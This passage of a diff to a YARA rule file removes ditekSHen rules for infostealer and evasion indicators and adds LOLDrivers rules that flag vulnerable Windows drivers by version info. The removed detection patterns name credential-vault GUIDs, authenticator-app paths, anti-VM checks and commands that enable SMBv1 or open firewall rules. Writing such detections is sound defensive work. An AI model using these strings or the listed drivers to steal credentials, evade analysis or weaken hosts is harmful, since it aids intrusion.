+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3379-L3398"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4ac08a6035cfcafdac712d7c3cf2eef6e10258f14cee6e80e1ef2f71f5045173"
+		logic_hash = "b3a6dc1e2b7e806eb56133af99e995139dccddb2cba897f54144203ea3558f29"
 		score = 40
-		quality = 31
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "\\VPN\\NordVPN" ascii wide nocase
-		$s2 = "\\VPN\\OpenVPN" ascii wide nocase
-		$s3 = "\\VPN\\ProtonVPN" ascii wide nocase
-		$s4 = "\\VPN\\DUC\\" ascii wide nocase
-		$s5 = "\\VPN\\PrivateVPN" ascii wide nocase
-		$s6 = "\\VPN\\PrivateVPN" ascii wide nocase
-		$s7 = "\\VPN\\EarthVPN" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e003900300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00390030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100300020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Vaultschemaguid : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Rweverything_Rwdrvsys_Rweverythingreadwritedriver_2A65 : FILE
 {
 	meta:
-		description = "Detects executables referencing Windows vault credential objects. Observed in infostealers"
-		author = "ditekSHen"
-		id = "440ac8a8-19c9-5284-a8e2-e0f2e8892a5e"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1930-L1953"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "121a51bbb749cc86d50fd5f79d7a24fbbb3e589e2fb25c553764a16202ff4065"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrIbDrv.sys"
+		author = "Florian Roth"
+		id = "f98969ca-e570-5f95-93d8-5b73fc3221fd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3401-L3425"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a"
+		hash = "3384f4a892f7aa72c43280ff682d85c8e3936f37a68d978d307a9461149192de"
+		hash = "2470fd1b733314c9b0afa19fd39c5d19aa1b36db598b5ebbe93445caa545da5f"
+		hash = "47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc"
+		hash = "0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb"
+		hash = "2bf29a2df52110ed463d51376562afceac0e80fbb1033284cf50edd86c406b14"
+		logic_hash = "818a6a8b09db442f8abf2c466339d01665220768dfebc6faf6c74d3f9855542b"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "2F1A6504-0641-44CF-8BB5-3612D865F2E5" ascii wide
-		$s2 = "3CCD5499-87A8-4B10-A215-608888DD3B55" ascii wide
-		$s3 = "154E23D0-C644-4E6F-8CE6-5069272F999F" ascii wide
-		$s4 = "4BF4C442-9B8A-41A0-B380-DD4A704DDB28" ascii wide
-		$s5 = "77BC582B-F0A6-4E15-4E80-61736B6F3B29" ascii wide
-		$s6 = "E69D7838-91B5-4FC9-89D5-230D4D4CC2BC" ascii wide
-		$s7 = "3E0E35BE-1B77-43E7-B873-AED901B6275B" ascii wide
-		$s8 = "3C886FF3-2669-4AA2-A8FB-3F6759A77548" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002000520057002d00450076006500720079007400680069006e0067 }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Antivm_UNK01 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5027 : FILE
 {
 	meta:
-		description = "Detects memory artifacts referencing specific combination of anti-VM checks"
-		author = "ditekSHen"
-		id = "57344ff4-5204-535a-a128-0f9f7eb7c760"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1955-L1977"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c34b23e26df0d33d60cf87e406dfbc90f9fd6df0da4415b6622d477cf38bc024"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "e46d3ca0-a605-503d-86ac-67ac7ac8c7cc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3428-L3447"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5027fce41ed60906a0e76b97c95c2a5a83d57a2d1cd42de232a21f26c0d58e48"
+		logic_hash = "f2f0788448e15b372c67c310a411c9533fad7e03b24c24a1a1da7eeb595b6e75"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "vmci.s" fullword ascii wide
-		$s2 = "vmmemc" fullword ascii wide
-		$s3 = "qemu-ga.exe" fullword ascii wide
-		$s4 = "qga.exe" fullword ascii wide
-		$s5 = "windanr.exe" fullword ascii wide
-		$s6 = "vboxservice.exe" fullword ascii wide
-		$s7 = "vboxtray.exe" fullword ascii wide
-		$s8 = "vmtoolsd.exe" fullword ascii wide
-		$s9 = "prl_tools.exe" fullword ascii wide
-		$s10 = "7869.vmt" fullword ascii wide
-		$s11 = "qemu" fullword ascii wide
-		$s12 = "virtio" fullword ascii wide
-		$s13 = "vmware" fullword ascii wide
-		$s14 = "vbox" fullword ascii wide
-		$s15 = "%systemroot%\\system32\\ntdll.dll" fullword ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000340037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Antivm_WMIC : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_2203 : FILE
 {
 	meta:
-		description = "Detects memory artifacts referencing WMIC commands for anti-VM checks"
-		author = "ditekSHen"
-		id = "f7166171-15b7-5e11-bbec-355764e58caa"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1979-L1989"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2c26ea8b008bf9cb4d8e24c909a3c6f5d67783b483747268f949fadc3fa72532"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "1c940da3-7e22-54eb-822b-8dad331e410e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3450-L3469"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2203bd4731a8fdc2a1c60e975fd79fd5985369e98a117df7ee43c528d3c85958"
+		logic_hash = "30602a4c8f91277805e82cdcd5ccae77b22e77644baf59d9ab2235e575ed9f25"
 		score = 40
-		quality = 39
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "wmic process where \"name like '%vmwp%'\"" ascii wide nocase
-		$s2 = "wmic process where \"name like '%virtualbox%'\"" ascii wide nocase
-		$s3 = "wmic process where \"name like '%vbox%'\"" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000300038002c002000300035002c002000300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e0056006f0063006c006f0063006b002e00520043 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300033 }
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Enablesmbv1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_442C : FILE
 {
 	meta:
-		description = "Detects binaries with PowerShell command enabling SMBv1"
-		author = "ditekSHen"
-		id = "cb3b43f3-8f45-5e4e-8e5e-9bfb89e842d3"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1991-L1999"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "68eb41d843b39e784d99153607c1deecdb5258cdbf641e2dd177c364847d85b1"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "213d1f7e-f283-5551-a942-c7b5b12014e6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3472-L3492"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "442c18aeb09556bb779b21185c4f7e152b892410429c123c86fc209a802bff3c"
+		hash = "3e1f592533625bf794e0184485a4407782018718ae797103f9e968ff6f0973a1"
+		logic_hash = "b44ece633deccb00cea884422a24053616bf92a71a7f0a0264102d548ce02bb7"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300035002e0030003800320035002e00320030003100360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300035002e0030003800320035002e0032003000310036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Enablenetworkdiscovery : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ludashicom_Computerzsys_468B : FILE
 {
 	meta:
-		description = "Detects binaries manipulating Windows firewall to enable permissive network discovery"
-		author = "ditekSHen"
-		id = "b1203e7a-b4f3-587e-aaea-a4cccaedc07d"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2001-L2010"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6c28a33849d1c6c72b65926a81e96f0e3f5b9bb0a48739bf4240a16f6a10dcea"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "e13ecd37-8ec8-5cc1-8a3a-c53fb10bf2dc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3495-L3515"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "468b087a0901d7bd971ab564b03ded48c508840b1f9e5d233a7916d1da6d9bd5"
+		hash = "f93e0d776481c4ded177d5e4aebb27f30f0d47dcb4a1448aee8b66099ac686e1"
+		logic_hash = "b286d189f5709b74d0da658841a1a626408db584696c467b07b4c341ec6d6748"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "netsh advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes" ascii wide nocase
-		$s2 = "netsh advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]006c007500640061007300680069002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310036002e0031003000300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310036002e0031003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100360020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Authapps : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_19D0 : FILE
 {
 	meta:
-		description = "Detects executables referencing many authentication apps. Observed in information stealers"
-		author = "ditekSHen"
-		id = "b2c1307d-ac4a-567f-ab14-7c65e16d984e"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2012-L2021"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9c730ba532dca023821fd9073bffeecf099a2a956b7715421bd0b4e5e5d4b2cf"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "9d4595ab-29a2-5b71-b03b-9730db4eadca"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3518-L3537"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "19d0fc91b70d7a719f7a28b4ad929f114bf1de94a4c7cba5ad821285a4485da0"
+		logic_hash = "0d4f44ece27db1def197e6353d59677915f7f58eb5ff4661d2b8e024eb07acb7"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "WinAuth\\winauth.xml" ascii wide nocase
-		$s2 = "Authy Desktop\\Local" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Undocumented_Winapi_Kerberos : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_9B1A : FILE
 {
 	meta:
-		description = "Detects executables referencing undocumented kerberos Windows APIs and obsereved in malware"
-		author = "ditekSHen"
-		id = "1eb7faab-66b8-5d98-b6a8-75a078c2f6f8"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2054-L2068"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "19f22dcbc63723624d92be22cd69dcbab03a0b46299d43bc50ba73c79e573596"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		id = "9dd62c3a-8f3c-5df0-a6a2-fcaa72c4ed16"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3540-L3559"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9b1ac756e35f795dd91adbc841e78db23cb7165280f8d4a01df663128b66d194"
+		logic_hash = "fcef672d2e2c24f4b1323554ca206f3bd67657af96ad774056e5fd0181cc7ac7"
 		score = 40
-		quality = 35
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$kdc1 = "KdcVerifyEncryptedTimeStamp" ascii wide nocase
-		$kdc2 = "KerbHashPasswordEx3" ascii wide nocase
-		$kdc3 = "KerbFreeKey" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of ($kdc*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_NKN_BCP2P : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltsys_Pancafemanager_7E01 : FILE
 {
 	meta:
-		description = "Detects executables referencing NKN Blockchain P2P network"
-		author = "ditekSHen"
-		id = "21aa4034-8c8f-515e-b8a4-4ce32ad816a6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2070-L2086"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "98161fcac130ba758bd9f8c4bc7133b9ba862df61dd86ad7d0ecbb0f18813a5e"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFlt.sys"
+		author = "Florian Roth"
+		id = "1d9363a1-e32e-5989-8777-6e530efa6a55"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3562-L3581"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7"
+		logic_hash = "6f9a951d64947f6930614206f10eb51a5f43566fdc6425821608e0f847818f75"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$x1 = "/nknorg/nkn-sdk-go." ascii
-		$x2 = "://seed.nkn.org" ascii
-		$x3 = "/nknorg/nkn/" ascii
-		$s1 = ").NewNanoPayClaimer" ascii
-		$s2 = ").IncrementAmount" ascii
-		$s3 = ").BalanceByAddress" ascii
-		$s4 = ").TransferName" ascii
-		$s5 = ".GetWsAddr" ascii
-		$s6 = ".GetNodeStateContext" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 }
